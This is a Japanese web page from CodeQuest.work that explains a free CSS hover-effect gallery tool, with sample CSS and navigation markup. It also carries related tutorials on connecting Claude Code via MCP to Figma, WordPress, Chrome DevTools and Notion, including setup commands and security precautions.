この記事では、CodeQuest.workが公開している無料ツール「CSSホバーエフェクト ギャラリー」の特徴と使い方を、実際の操作の流れに沿って解説します。9カテゴリ・全100種類のエフェクトをその場でホバーして比較し、アクセント色を自分のサイトに合わせてからコードを取得できるツールです。 CSSホバーエフェクト ギャラリーを使ってみる（無料） CSSホバーエフェクト ギャラリーとは CSSホバーエフェクト ギャラリーは、ブラウザだけで完結するホバーアニメーションの試用＆コード取得ツールです。基本の流れは「ホバーで試す → 選ぶ → コピペ」の3ステップだけ。一覧のカードにマウスを乗せると実際の動きがその場で確認でき、気に入ったものはHTMLとCSSのセットをワンクリックでコピーできます。 収録しているのは、ナビゲーションメニューやテキストリンクに使うことを想定した「マウス操作起点」の動きです。fadeやzoomのように時間経過で連続再生するアニメーションを探している場合は、姉妹ツールを解説したCSSアニメーションをコピペで使える無料ツールのほうが目的に合います。「ページを開いたときに動くのがアニメーションギャラリー、マウスを乗せたときに動くのがホバーエフェクト ギャラリー」という棲み分けです。 このツールでできること 機能はシンプルに絞られています。登録やインストールは不要で、ページを開いた瞬間から使えます。 実際にホバーで試す：カードにマウスを乗せると、本番と同じ動きをその場で再生 カテゴリで絞り込み：下線・ボーダー・背景・テキスト・3D・ナビ装飾・発光/影・変形・エフェクトの9分類をチップで切り替え HTML+CSSをワンクリックコピー：各カードのコピーボタンで、そのまま貼れるコード一式を取得 コードプレビュー：カードをクリックするとサイドバーに全コードを表示。貼る前に中身を確認できる 色のカスタマイズ：アクセント色・サブ色をカラーピッカーで変更すると、プレビューとコピーされるコードの両方に即反映 コピーされるコードは <style> タグ入りのCSSと、対応するHTMLのセットです。CodePenやローカルのHTMLファイルにそのまま貼れば、その場で同じ動きが再現されます。なお、CodeQuest.workではこのほかにもCSS系の無料ツールを公開しており、全体像はCSSの装飾・アニメーションを作る無料ジェネレーターまとめで確認できます。 使い方は3ステップ カードにマウスを乗せて動きを確認する：一覧の各カードが実物のプレビューです。上部のチップで「下線」「3D」などカテゴリを絞り込めます 色を自分のサイトに合わせる：サイドバーのカラーピッカーでアクセント色・サブ色を変更します（デフォルトのままでもOK） コピーして貼り付ける：気に入ったカードのコピーボタンを押すと、HTML+CSSがクリップボードに入ります。あとは自分のページに貼るだけです 貼る前にコードの中身を確認したい場合は、カード本体をクリックするとサイドバーの「コードプレビュー」に全文が表示されます。どのプロパティで動きが作られているかを読んでから採用を決められるので、学習用途にも向いています。 収録エフェクトの9カテゴリ 全100種類は、使いどころが分かりやすいように9つのカテゴリに整理されています。 カテゴリ種類数代表例下線12種下線が左から／通り抜け下線／二重下線（時間差）／グラデーション下線ボーダー12種枠線を一周描く／四隅から枠になる／グラデ枠が回る／角丸ピル化背景12種右からスイープ／斜めスライス／円形に広がる／マーカーでなぞるテキスト14種1文字ずつ持ち上がる／上下ロールオーバー／グリッチ／太さが変わる3D12種キューブ回転／縦フリップ（裏面）／ドアが開く／押し込みボタンナビ装飾10種ドットが現れる／矢印がスライドイン／ピル背景がふわっと／左に縦バー発光・影10種ネオン点灯／スポットライト／ふわっと浮く影／蛍光灯フリッカー点灯変形10種弾んで拡大／ジェリー／ふわふわ浮遊／押されて凹むエフェクト8種波紋が広がる／キラッと光る／粒が弾ける／残像が広がる 下線系：ナビの定番はまずここから グローバルナビで最も使用頻度が高いのが下線系です。たとえば「下線が左から」は、linear-gradient を背景として敷き、background-size を 0 から 100% に変化させる定番テクニックで実装されています。 .he-ul-left { display: inline-block; padding-bottom: 4px; color: #1e293b; font-size: 1.15rem; font-weight: 700; text-decoration: none; background: linear-gradient(#6366f1, #6366f1) no-repeat left bottom / 0 2px; transition: background-size 0.3s ease; } .he-ul-left:hover { background-size: 100% 2px; } 疑似要素を使わずに背景グラデーションだけで下線を描いているため、HTMLは a タグ1つで完結します。「左から入って外すと右へ抜ける」通り抜け下線や、グレーの下線とアクセント色の下線が入れ替わるパターンなど、同じ下線でも印象の違う12種類から選べます。 3D系：perspectiveで立体的に動かす 3D系は perspective と transform: rotateX() / rotateY() を組み合わせた立体表現です。ホバーするとリンクが立方体のように回転して裏面のラベルが現れる「キューブ回転」、カードが縦に反転する「縦フリップ」、扉が奥へ開く「ドアが開く」など、動きの大きいものが揃っています。ヒーローエリア直下のメニューやポートフォリオのナビなど、遊び心を出したい場面に向いています。 発光・影系：ダークテーマと相性が良い text-shadow や box-shadow を重ねて光らせる「ネオン点灯」、マウス位置とは無関係に文字の上を光が走る「文字を光が走る」、点灯し損ねた蛍光灯のようにチカチカしてから点く「蛍光灯フリッカー点灯」などが含まれます。発光系は暗い背景の上でこそ映えるため、ダークテーマのサイトやフッターナビでの採用がおすすめです。 アクセント色・サブ色のカスタマイズ このツールの実務的な強みが色のカスタマイズです。サイドバーの「色の設定」でアクセント色（デフォルト #6366f1）とサブ色（デフォルト #ec4899）を変更すると、一覧のプレビュー全部と、コピーされるコードの色指定がまとめて置き換わります。 「コピペしたあとにCSS内の色コードを探して書き換える」作業が不要になるため、ブランドカラーが決まっているサイトほど時短効果が大きくなります。自社サイトのキーカラーを設定してから一覧を眺めると、「そのサイトに実装したときの見え方」で比較検討できるのもポイントです。色は「↺ 色をデフォルトに戻す」でいつでも初期状態に戻せます。 コピーしたコードをナビに組み込む方法 ナビメニューへの適用例 コピーされるHTMLはリンク1つ分のサンプルなので、ナビに使うときは既存のメニューのリンクにクラスを付け替えます。たとえば「下線が左から」（クラス名 he-ul-left）をナビ全体に適用する場合は次のようになります。 <nav> <ul class="global-nav"> <li><a class="he-ul-left" href="/">ホーム</a></li> <li><a class="he-ul-left" href="/about/">会社概要</a></li> <li><a class="he-ul-left" href="/service/">サービス</a></li> <li><a class="he-ul-left" href="/contact/">お問い合わせ</a></li> </ul> </nav> CSSはコピーしたものを <style> タグごと貼るか、中身だけを既存のCSSファイルに移します。各エフェクトのクラス名には he-（hover effectの略）のプレフィックスが付いているため、既存のクラス名と衝突しにくい設計です。なお、ホバー演出はあくまで仕上げであり、ナビそのものの構成や項目設計に迷いがある場合はナビゲーションの作り方と最適化を先に読むのがおすすめです。 既存サイトへの馴染ませ方 コピーしたコードには、プレビュー用に文字色・フォントサイズ・太さの指定が含まれています。既存サイトに組み込むときは、color や font-size、font-weight をサイト側の指定に合わせて削るか上書きしてください。動きの速さを変えたい場合は transition の秒数（多くのエフェクトで 0.3s 前後）を調整します。0.2〜0.4秒の範囲に収めると、機敏さと滑らかさのバランスが取りやすくなります。 すべてCSSのみ＝JS不要で動く 100種類すべてが :hover 疑似クラスと transition／animation の組み合わせだけで実装されており、JavaScriptを1行も使いません。読み込むライブラリがないのでページ表示が重くならず、既存のスクリプトと干渉する心配もありません。WordPressのカスタムCSS欄のように「CSSしか書けない環境」でもそのまま使えます。 動きの主体も transform や opacity、background-size などGPUで効率よく処理されやすいプロパティが中心です。一部のエフェクトはCSSの新しめの機能（@property によるグラデーション角度のアニメーションなど）を使っており、その場合はコード内のコメントに対応ブラウザの注意書きが入っています。コードを読むと「この動きはこう作るのか」という発見があるはずで、CSS表現の引き出しを増やす教材としても機能します。 こんな場面で使える コーポレートサイトのグローバルナビ：下線系・ナビ装飾系で上品に動きを足す LP内のテキストリンク：背景塗りやマーカー系でクリックできることを強調する ポートフォリオ・個人サイト：3D系・グリッチ系で個性を出す ダークテーマのサイト：ネオン・発光系でテーマの世界観を強める コーディング学習・模写：コードプレビューで実装テクニックを読み解く 逆に、1つのホバー演出を仕組みから深掘りしたい場合は、当サイトの実装解説記事が向いています。 ### [000 / SEO×AIO対応WordPressスターターテーマ（先行モニター募集）](https://codequest.work/wordpress-theme-000-monitor/) 「000」は、SEO・AIO/GEO対策の土台を最初から備えた、制作者向けのWordPressスターターテーマです。現在、先行モニターを10名限定・無料で募集しています。 Organization・WebSite・Article・パンくず・FAQなどの構造化データを全自動で出力し、AIに引用されるための機械可読性を標準で確保。Yoast SEOやRank Mathなど主要SEOプラグインを検出すると二重出力を自動で回避するため、既存の運用フローにもそのまま載せられます。デザインはtheme.jsonに集約したミニマル設計で、明朝と罫線を基調にしています。 モニター参加は無料で、テーマ一式・導入ガイド・4週間のメールサポートが付きます。お願いするのは、ダウンロード後2週間以内のフィードバック1回のみ。運営中のホームページ・ポートフォリオ・制作実績URLをお持ちの方が対象です。募集要項と応募方法は、下記の募集記事をご覧ください。 モニター募集の詳細 DEMO SITE ### [MORI CREATE / Web & Video Creator](https://codequest.work/mori-create-web-video-creator/) Webと映像の両面から、お客様のビジネスやサービスの魅力が最大限に伝わる表現を追求しています。 「情報を整理し、見やすく、わかりやすく」をモットーに、シンプルで洗練されたデザインを心がけています。お客様の想いやビジネスの本質を丁寧にヒアリングし、それを的確にビジュアル化することで、ターゲットに響く作品づくりを実現します。 技術的な完成度だけでなく、見る人の心に響く作品づくりを大切にしています。Webサイトも動画も、単なる「制作物」ではなく、お客様とユーザーをつなぐ大切なコミュニケーションツールだと考えています。 WEBSITE ### [TERRACE&CO. / クリエイティブチーム](https://codequest.work/terrace-and-co/) 私たちは企業の魅力を最大限に引き出し、お客様と一緒に想像を超えるクリエイティブをつくり上げます。関東を中心に様々な地域でマーケティングやクリエイティブの実務を積み上げ、地元の日向に帰郷し立ち上げたチームです。 現在も全国各地での活動を通し、最先端の技術や知識に触れ合い成長して続けています。専門用語はできるだけ使わず、楽しく分かりやすく進めることを大切にし、人の表情や空気感を捉える撮影技術。 顧客心理に基づいた広告設計で、制作だけで終わらない "結果につながる" マーケティング＆クリエイティブをご提供します。 WEBSITE ### [Claude CodeのMCP連携ガイド一覧｜Figma・WordPress・Chrome DevTools・Notion](https://codequest.work/claude-code-mcp-integration-list/) Claude Codeは、MCP（Model Context Protocol）を通じてFigma・WordPress・Chrome DevTools・Notionなどの外部ツールと公式に連携できます。このページは、CodeQuest.workのMCP連携ガイドをツール別に整理した一覧ハブです。接続コマンド・認証方式・できることを早見表で比較し、目的に合うガイドへ最短で案内します。 MCP連携は便利な一方で、ツールごとに接続方式（リモートHTTP・ローカルstdio）も認証（OAuth・Basic・認証なし）も条件（プラン・バージョン）もバラバラです。個別記事を渡り歩く前に、まず全体像を1枚で把握できるようにこのページを用意しました。 各ガイドはいずれも、公式ドキュメント・公式リポジトリの一次情報（2026年7月確認）だけを根拠に、接続手順から実践ワークフロー、旧仕様との違いまでを検証して書いています。 対応ツール早見表 まずは4ツールの比較です。いずれも各社の公式MCPサーバー（またはWordPress公式プラグイン）を使う、公式ルートの連携です。 ツール公式サーバー接続・認証主な用途ガイドFigmaDev Mode MCPサーバー（リモート mcp.figma.com）HTTP＋OAuthデザイン→React+Tailwind等のコード化連携方法を見るWordPressMCP Adapterプラグイン（WP6.9+のAbilities API）HTTP＋Basic認証（アプリケーションパスワード）サイト操作・コンテンツ運用の自動化連携方法を見るChrome DevToolschrome-devtools-mcp（Google公式・npx起動）stdio・認証不要ブラウザ実測・LCP改善・デバッグ連携方法を見るNotionNotion MCP（リモート mcp.notion.com）HTTP＋OAuth仕様書・タスク・議事録の読み書き連携方法を見る Figma：デザインをコードにする Figma公式のDev Mode MCPサーバーを接続すると、FigmaのフレームをClaude Codeが直接読み取り、レイアウト・色・タイポグラフィを反映した実装コード（デフォルトはReact＋Tailwind）を生成できます。対象はフレームのリンク（Copy link to selection）で渡すのが基本です。詳細はFigmaとClaude Codeを連携する方法で解説しています。 向いている人：デザインカンプからのコーディングを高速化したいフロントエンド実務者 注意点：実用にはFigmaのDev/Fullシートが必要。旧仕様（get_code・デスクトップ必須）の解説記事に注意 WordPress：サイト操作をAIに任せる WordPress 6.9でコアに入ったAbilities APIと公式MCP Adapterプラグインで、Claude CodeがWordPressサイトの機能を発見・実行できます。wp-cli・REST APIという代替経路も含めた3経路の使い分けと、AIに渡す権限を絞るセキュリティ設計まで、WordPressとClaude Codeを連携する方法で解説しています。 向いている人：WordPressサイトの記事運用・保守をAIエージェント化したい制作者 注意点：旧Automattic製wordpress-mcpは非推奨（アーカイブ済み）。認証はBasic（Bearerではない） Chrome DevTools：ブラウザ実測をAIに任せる Google公式のchrome-devtools-mcpは、4ツールの中で唯一、認証なし・コマンド1行で使い始められます。パフォーマンストレースによるLCP改善、コンソール・ネットワークの実測デバッグなど、「AIが書いたコードをAI自身がブラウザで検証する」ループが作れます。手順はChrome DevTools MCPの使い方で解説しています。 向いている人：表示速度改善・バグ調査を実測ベースで回したいWeb制作者全般（最初の1本にもおすすめ） 注意点：ブラウザ内容はAIに露出する。機密情報を扱うセッションには接続しない Notion：仕様書・タスクを開発コンテキストにする Notion公式のリモートMCPをOAuthで接続すると、Notionに置いた仕様書・タスクDB・議事録をClaude Codeが読み書きできます。「仕様書を読ませて実装→タスクDBに完了を書き戻す」という開発ワークフローの組み方は、NotionとClaude Codeを連携する方法で解説しています。 向いている人：開発ドキュメントの正本をNotionで管理しているチーム・個人開発者 注意点：AIには接続ユーザーの見えるページが全部見える。横断検索等の一部機能はプラン・Notion AI依存 どれから始めるべきか 迷ったら、導入コストの低い順に試すのがおすすめです。 Chrome DevTools：認証不要・無料・コマンド1行。MCP連携の体験としても最短 Notion：OAuth認可のみ。すでにNotionで開発情報を管理しているなら即効果が出る Figma：Dev/Fullシートの条件はあるが、デザイン→コードの時短効果が大きい WordPress：サイト側の準備（プラグイン・権限設計）が要るぶん、運用自動化の効果は最大級 MCPそのものの仕組み（サーバーの種類・scope・設定ファイル・自作方法）から理解したい方は、先にClaude CodeのMCP・Hooks・Skills活用ガイドを読むと、この後の各ガイドの理解が速くなります。 ここで紹介した既製のMCPサーバーで足りない場合は、自分で作るという選択肢があります。社内APIや独自のデータベースなど、公式サーバーが存在しない相手に繋ぎたいときです。作り方はMCPサーバーの作り方で、実装から登録・デバッグまで解説しています。 全ツール共通の注意点 どのツールでも共通して押さえるべき原則は次の3つです。 権限は最小から：MCP接続はおおむね「接続ユーザーの権限をAIが継承する」設計。専用アカウント・最小権限・読み取り優先で始める 登録コマンドはセッションの外で：claude mcp add は通常のターミナルで実行し、Claude Codeを再起動して /mcp で接続を確認する 古い記事は仕様変更を疑う：MCP周りは変化が速く、ツール名・認証方式・推奨サーバーが1年で入れ替わった例が複数ある。一次情報の確認日をチェックする Claude CodeのMCP連携に関するFAQ Q. MCPとは何ですか？ MCP（Model Context Protocol）は、AIアシスタントが外部ツール・データソースと安全にやり取りするための共通プロトコルです。ツール側がMCPサーバーを公開し、Claude CodeなどのMCPクライアントがそれに接続して機能を呼び出す、という共通の型で連携します。 Q. 複数のMCPサーバーを同時に接続できますか？ できます。Figma・Notion・Chrome DevToolsを同時に登録し、「Notionの仕様書を読み、Figmaのデザインを実装し、ブラウザで実測検証する」という複数ツール横断のワークフローも組めます。接続数が増えるほど権限管理の重要性も上がる点だけ注意してください。 Q. 連携は無料で使えますか？ ツールによります。Chrome DevTools MCPは無料（OSS）、WordPressのMCP Adapterも無料プラグインです。FigmaはMCP自体がベータ無料でも実用にはDev/Fullシートが必要、Notionは機能ごとにプラン・Notion AI条件があります。詳細は各ガイドの事前準備の章を確認してください。 Q. セキュリティで最低限守るべきことは何ですか？ 「AIは接続に使ったアカウントの権限をそのまま持つ」前提で設計することです。専用ユーザー・最小権限・読み取り優先で始め、書き込みや公開などの不可逆な操作は人間の承認を挟む運用にすると、どのツールでも安全に使えます。 Q. 対応ツールは今後も増えますか？ 増える見込みです。MCPは業界標準として採用が広がっており、公式MCPサーバーを公開するツールは増え続けています。当サイトでも実務価値の高いツールから順次ガイドを追加し、このページの一覧を更新していきます。 まとめ Claude CodeのMCP連携は、「AIにコードを書かせる」から「AIがデザイン・サイト・ブラウザ・ドキュメントを横断して仕事を進める」への入り口です。認証不要のChrome DevToolsで体験を掴み、自分の実務の正本があるツール（Figma・WordPress・Notion）へ広げていくのが、遠回りのない導入順です。 各ガイドはこちらから。 FigmaとClaude Codeを連携する方法｜Dev Mode MCPでデザインをコード化 WordPressとClaude Codeを連携する方法｜公式MCP Adapter活用 Chrome DevTools MCPの使い方｜ブラウザ実測・デバッグをAIに任せる NotionとClaude Codeを連携する方法｜仕様書・タスクを開発コンテキスト化 Claude Code上級ガイド｜MCP・Hooks・Skillsの仕組みと設定 なお、ここに挙げたような公式MCPが用意されていないアプリもあります。その場合は、アプリ自身が持つスクリプト機能を直接叩くほうが早いことがあります。実例はClaudeでPhotoshopを自動操作する方法にまとめています。 ### [Chrome DevTools MCPの使い方｜Claude Codeにブラウザ実測・デバッグさせる方法](https://codequest.work/chrome-devtools-claude-code-mcp-guide/) Chrome DevTools MCPとは、Claude CodeなどのAIコーディングエージェントにChromeブラウザの計測・操作能力を与えるGoogle公式のMCPサーバーです。npx経由のコマンド1行で登録でき、パフォーマンストレースの記録・ネットワークリクエストの解析・コンソールの読み取りをAIに任せられるようになります。 AIコーディングには「生成したコードが実際にブラウザでどう動くかを、AI自身が確認できない」という弱点がありました。コンソールエラーもレイアウト崩れも、人間がDevToolsを開いて貼り付けて伝える必要があった——このギャップを公式に埋めるのがChrome DevTools MCPです。 この記事では、Chrome公式ブログ・公式GitHubリポジトリ・web.devを中心とする一次情報（いずれも2026年7月確認）を根拠に、接続手順から「LCP改善をAIに任せる」「バグ調査をAIに任せる」実践パターン、稼働中ブラウザへの接続、セキュリティ上の注意までを整理します。 Chrome DevTools MCPとは Chrome for Developers公式ブログ（2025年9月23日）で「public preview」として発表されました。コーディングエージェントが生成したコードを、実際のブラウザ上で検証できるようにするのが狙いです。2026年7月時点でもpublic preview表記のまま更新が続いており（npmでv1.6.0まで継続リリース）、「正式版」と宣言されたわけではない点は押さえておきましょう。 実体は公式リポジトリChromeDevTools/chrome-devtools-mcp（Apache-2.0ライセンス）で公開されているOSSで、内部ではPuppeteerがライブのChromeを自動操作します。MCPそのものの仕組み（サーバーの種類・scope・設定の実体）は、Claude CodeのMCP・Hooks・Skills活用ガイドで解説しています。 連携でできること ツールは約50個（バージョンにより増減）あり、入力自動化・ナビゲーション・エミュレーション・パフォーマンス・ネットワーク・デバッグなどのカテゴリに分かれています。実務でよく使うのは次の表のツール群です。 ツール名できることperformance_start_trace / performance_stop_traceパフォーマンストレースの記録開始・停止performance_analyze_insight記録したトレースからボトルネックを分析list_network_requests / get_network_requestネットワークリクエスト一覧・個別詳細の取得list_console_messagesコンソールメッセージ（エラー・警告）の読み取りtake_screenshot / take_snapshot画面のスクリーンショット・DOMスナップショット取得navigate_page / click / fill_formページ遷移・クリック・フォーム入力の自動操作evaluate_scriptページ上でJavaScriptを実行lighthouse_auditLighthouse監査の実行 公式ブログが挙げる想定ユースケースは「変更がブラウザで正しく動くかの検証」「画像が読み込まれない原因の調査」「フォーム送信が失敗するバグのデバッグ」「Make it load faster（表示速度の改善）」の4つ。つまり、実装後の検証・デバッグ・高速化という、これまで人間がDevToolsで担っていた作業がそのまま対象です。 事前準備 公式READMEの動作要件は次の2つだけです。APIキーもアカウント登録も不要です。 Node.js（最新LTS） Chrome（現行stable以降） サーバー本体はnpx経由で毎回最新版が起動されるため、個別のインストール作業はありません。 接続手順：コマンド1行で完了 公式READMEに記載されたClaude Code向けの登録コマンドは次の1行です。通常のターミナル（Claude Codeセッションの外）で実行します。 claude mcp add chrome-devtools --scope user npx chrome-devtools-mcp@latest --scope user を付けているので全プロジェクトで使えます。FigmaやNotionのMCPと違いOAuth認証はなく、登録すればそのまま使えます。Claude Codeを起動して /mcp でchrome-devtoolsが接続済みになっていれば準備完了です。動作確認には、次のような簡単な指示が向いています。 https://example.com を開いて、コンソールにエラーが出ていないか確認して。 エラーがあれば原因の当たりも付けて報告して。 Chromeが自動で立ち上がり、Claude Codeがページを開いてlist_console_messagesで実測した結果を返してくれれば接続成功です。 実践①：パフォーマンス計測とLCP改善 Chrome DevTools MCPの本領はパフォーマンス改善です。判定基準として、web.dev公式ガイド（2025年9月更新）によると、Largest Contentful Paint（LCP）は75パーセンタイルで2.5秒以下が「良好」です。この計測と改善のループをAIに回してもらいます。 http://localhost:3000 のパフォーマンストレースを記録して、 LCPを悪化させている要因を特定してください。 - performance_start_trace → 読み込み → performance_stop_trace の順で計測 - performance_analyze_insight でボトルネックを分析 - 原因がこのリポジトリのコードにあれば修正案を提示（まだ書き換えない） - 修正後に再計測して、改善幅を数値で報告すること ポイントは最後の1行です。「修正→再計測→数値で報告」まで指示すると、感覚ではなく実測ベースの改善ループになります。画像の遅延読み込み・レンダーブロッキングCSS・巨大なヒーロー画像といった定番のLCP要因は、この流れでかなりの精度で特定されます。 実践②：バグ調査とデバッグ 「画像が表示されない」「フォームが送信できない」といったバグ調査もそのまま任せられます。Claude Codeはlist_network_requestsで失敗したリクエストを見つけ、list_console_messagesでエラーを読み、take_screenshotで見た目を確認し、必要ならevaluate_scriptでページ内の状態を直接調べます。人間がDevToolsの3つのパネルを行き来していた調査を、AIが一続きでやる形です。 たとえば「一覧ページのサムネイルが表示されない」という報告を受けた場合、調査は次のような流れになります。 take_screenshotで症状を視覚的に確認する（どの画像が欠けているか） list_network_requestsで失敗したリクエストを絞り込み、get_network_requestでステータスとURLを特定する 特定したURLをもとに、リポジトリ側のコードを検索してパスの組み立てミスや環境変数の不足を突き止める 修正後にnavigate_pageで再読み込みし、同じリクエストが成功に変わったことを確認して完了報告する 「症状の確認→原因の実測→コード修正→再実測」の全工程がブラウザ実測ベースで進むのがポイントです。コードだけを見て推測で直すよりも、手戻りが目に見えて減ります。 ただし、AIに任せる場合も「DevToolsで何が見えるか」を人間側が知っているほど、指示と検収の精度が上がります。手動でのDevTools検証手順はChrome DevTools検証ガイドにまとめているので、本記事のAI自動化とセットで押さえるのがおすすめです。 発展：稼働中のChromeセッションに接続する 基本形は「MCPサーバーが新しいChromeを起動する」動作ですが、Chrome公式ブログ（2025年12月11日）では、--autoConnectオプションで普段使っている稼働中のChromeセッションに接続し、DevTools UIで選択中の要素やリクエストをそのままAIに調査させる機能が案内されています。 ただしこの機能はChrome M144以上が条件です（公式ブログ・2025年12月11日）。現行のChrome stableはこの要件をすでに満たしているため（2026年7月時点の実測）、Chromeを最新stableに更新していれば追加のチャンネル設定は不要です。導入初期は基本形（自動起動）で運用し、実セッション接続は運用に慣れてからの発展オプションと考えるのが安全です。 セキュリティ上の注意 公式READMEのDisclaimerは、このサーバーが「ブラウザの内容をMCPクライアントに露出し、データの閲覧・デバッグ・改変を許す」こと、そして「MCPクライアントに渡したくない機密情報や個人情報を扱わせないこと」を明記しています。実務では次の線引きを推奨します。 調査対象は開発中のlocalhost・検証環境を基本にする ログイン済みの個人アカウント（ネットバンキング・SNS等）を開いたセッションには接続しない 実セッション接続（--autoConnect）を使うときは、開いているタブの内容がAIから見える前提で扱う フォーム自動入力に本物の個人情報を渡さない（テストデータを使う） よくあるつまずきと対処法 導入時につまずきやすいポイントを症状別にまとめます。いずれも公式の動作要件・仕様に紐づくものです。 症状原因と対処/mcp にchrome-devtoolsが出てこない登録コマンドをClaude Codeセッション内で実行している、または再起動していない。通常のターミナルで実行し、Claude Codeを再起動するサーバー起動時にNode関連のエラーが出るNode.jsが古い。公式要件は最新LTS。バージョンを更新して再実行するChromeが起動しない・見つからないChromeが未インストールか古い。公式要件は現行stable以降。更新して再実行する稼働中のChromeに接続できない実セッション接続（--autoConnect）はChrome M144以上が条件。Chromeを最新stableに更新して再試行するか、基本形（自動起動）で運用するページは開くが操作対象を見つけられないクリック等の操作系はtake_snapshotでDOM構造を取得してから要素を指定させると安定する。「まずスナップショットを取って」と指示に含める Chrome DevTools MCPに関するFAQ Q. Chrome DevTools MCPは無料で使えますか？ 無料です。Apache-2.0ライセンスのOSSとして公式リポジトリで公開されており、APIキーや課金は不要です。必要なのはNode.js（最新LTS）とChrome（現行stable以降）だけです。 Q. 対応しているのはClaude Codeだけですか？ いいえ。MCP対応クライアント共通の仕組みで、公式READMEにはClaude Codeのほか各種MCPクライアント向けの設定例（npx経由のstdio型）が掲載されています。本記事のコマンドを各ツールのMCP設定に読み替えれば同様に使えます。 Q. 普段使いのChromeのタブを直接調査させられますか？ 可能です。--autoConnectによる稼働中セッションへの接続はChrome M144以上が条件で、現行のstable版はこの要件を満たしています。 ### [NotionとClaude Codeを連携する方法｜公式MCPで仕様書・タスクを開発コンテキスト化する](https://codequest.work/notion-claude-code-mcp-guide/) NotionとClaude Codeは、Notion公式のリモートMCPサーバー「Notion MCP」を使って連携できます。接続はコマンド1行＋ワンクリックのOAuth認可だけで、Notionに置いた仕様書・タスクデータベース・議事録をClaude Codeが直接読み書きできるようになります。 開発の実務では、仕様やタスクの「正」がNotionにあるのに、実装のたびに内容をコピペしてAIに渡している——この二度手間が連携で消えます。仕様書を読ませて実装させる、実装完了をタスクDBに書き戻させる、議事録から今日のTODOを起こさせる、といった流れが一続きになります。 この記事では、Notion公式ドキュメント・公式ブログ・公式GitHubリポジトリ（いずれも2026年7月確認）だけを根拠に、接続手順から開発ワークフローへの組み込み方、権限とレート制限の注意点、OSS版との使い分けまでを整理します。 Notion MCPとは Notion MCPとは、Notionが公式にホストするリモートMCPサーバーです。Notion公式ブログ（2025年7月15日）によると、エンドポイントは https://mcp.notion.com/mcp で提供され、各ユーザーはワンクリックのOAuth認可フローで接続します。トークンはサーバー側がセッション管理するため、APIキーを自分で発行・保管する必要はありません。 特徴は、Notion REST APIの単純な写しではなく、AIエージェント向けにツールを再設計している点です。公式ブログでは、create-pages等のツールをAIファーストに再設計し、セマンティック検索を搭載したと説明されています。ユーザー数1億人超（Notion公式ブログ・2024年9月3日）のワークスペースを、そのままAIの読み書き対象にできる公式ルートです。MCPそのものの仕組みはClaude CodeのMCP・Hooks・Skills活用ガイドで解説しています。 開発ワークフローでできること Notion公式ドキュメント（2026年7月確認）によると、ホスト型Notion MCPはAI向けに最適化された18個のツールを提供します。開発ワークフローに直結するのは次の表のツールです。 ツール名できること開発での使いどころnotion-searchワークスペースのセマンティック検索「◯◯機能の仕様書を探して」notion-fetchページ・データベースの取得仕様書・議事録を実装コンテキストに読み込むnotion-create-pagesページの新規作成実装メモ・リリースノートの起票notion-update-page既存ページの更新タスクのステータス書き戻しnotion-query-data-sourcesデータベースのクエリ「今スプリントの未完了タスクを一覧して」notion-create-comment / notion-get-commentsコメントの追加・取得レビュー依頼・進捗報告をページ上に残す 注意点として、一部機能はプランとNotion AIの有無に依存します。公式ドキュメント（2026年7月確認）によると、Notion AIなしの場合notion-searchはワークスペース内検索のみ（Slack・Google Drive・Jira等の横断検索にはNotion AIが必要）、複数データソースへの一括クエリはEnterprise＋Notion AI、議事録専用クエリはBusiness以上＋Notion AIが条件です。 事前準備：権限とプランの確認 準備の中心は「何が見えるか」の把握です。Notionヘルプセンター（2026年7月確認）は「MCPツールは接続ユーザーのNotion権限で動作し、そのユーザーがアクセスできるものすべてにアクセスできる」と明記しています。つまり接続した瞬間から、あなたに見えるページはAIにも見えます。確認しておくことは次の3点です。 接続するNotionアカウントのアクセス範囲（人事情報など見せたくないページが共有されていないか） 使いたい機能のプラン条件（横断検索・複数ソースクエリ・議事録クエリはNotion AIやプラン上位が条件） Enterpriseの場合、管理者がMCPクライアント接続を許可制で管理しているか（管理者への確認） Notion自体をこれから触る方は、Notionの使い方入門で基本操作とページ・データベースの概念を先に押さえておくと、この後のワークフロー設計がスムーズです。 接続手順：コマンド1行＋OAuth認可 Notion公式ドキュメント（2026年7月確認）に記載されたClaude Code向けの手順は次の2ステップです。 # 1. HTTPトランスポートで登録（通常のターミナルで実行） claude mcp add --transport http notion https://mcp.notion.com/mcp # 2. Claude Code内で認証 /mcp # → notionを選び、ブラウザでワークスペースを認可（ワンクリックOAuth） 全プロジェクトで使いたい場合は --scope user、チームで設定を共有したい場合は --scope project（.mcp.jsonに保存）を付けます。認可後はClaude Code起動のたびに自動で再接続されるので、認証作業は基本的に初回のみです（トークン失効時のみ再認証が必要になります）。 実践ワークフロー：仕様書・タスク・議事録を開発コンテキストにする 開発での使い方は「読む」「書き戻す」「起こす」の3パターンに整理できます。 読む：仕様書ページを検索・取得して、その内容を前提に実装させる 書き戻す：実装・テスト完了後、タスクDBのステータスや実装メモを更新させる 起こす：議事録ページから決定事項を抽出し、タスクやTODOページとして作成させる 「読む」パターンのプロンプト例です。仕様の正本がNotionにあることを明示し、実装前に要約させて認識合わせをするのがポイントです。 Notionで「会員登録フォーム 仕様」のページを検索して読み込み、 実装前に要件を箇条書きで要約してください。 - 要約に抜けがないか私が確認してから実装に入ること - 実装完了後、タスクDB「開発タスク」の該当行のステータスを 「レビュー待ち」に更新し、実装内容の要約をコメントで残すこと FigmaのMCP連携（デザインの正本）と組み合わせると、「仕様はNotion・デザインはFigma・実装はClaude Code」という正本の分担がそのままAIワークフローになります。デザイン側はFigmaとClaude Codeを連携する方法を参照してください。 精度と安全のコツ 運用で押さえておきたいポイントは3つです。 権限は「見えるもの全部」前提で設計する：接続ユーザーの権限がそのまま適用されるため、開発用ワークスペース（またはアクセス範囲を絞ったアカウント）で接続するのが安全 検索は回数を意識する：notion-searchには毎分30リクエストのレート制限がある。広く浅く何度も検索させるより、対象ページのURLを直接渡す方が速くて確実 書き込みの境界を決める：更新してよいDB・ページをプロンプトやCLAUDE.mdで明示し、それ以外は読み取り専用として扱わせる チーム利用でガバナンスが必要な場合、Enterpriseプランでは管理者が接続可能なMCPクライアントを許可制で管理できます（Notionヘルプセンター・2026年7月確認）。 OSS版notion-mcp-serverとの使い分け Notionには、公式GitHubで公開されているローカル実行型のOSS版（makenotion/notion-mcp-server）もあります。こちらはインテグレーショントークン認証で動きますが、リポジトリ自身が「リモートのNotion MCPを優先・サポートし、本ローカル版は将来sunset（終了）の可能性がある」と明記しています（2026年7月確認・最新v2.1.0）。 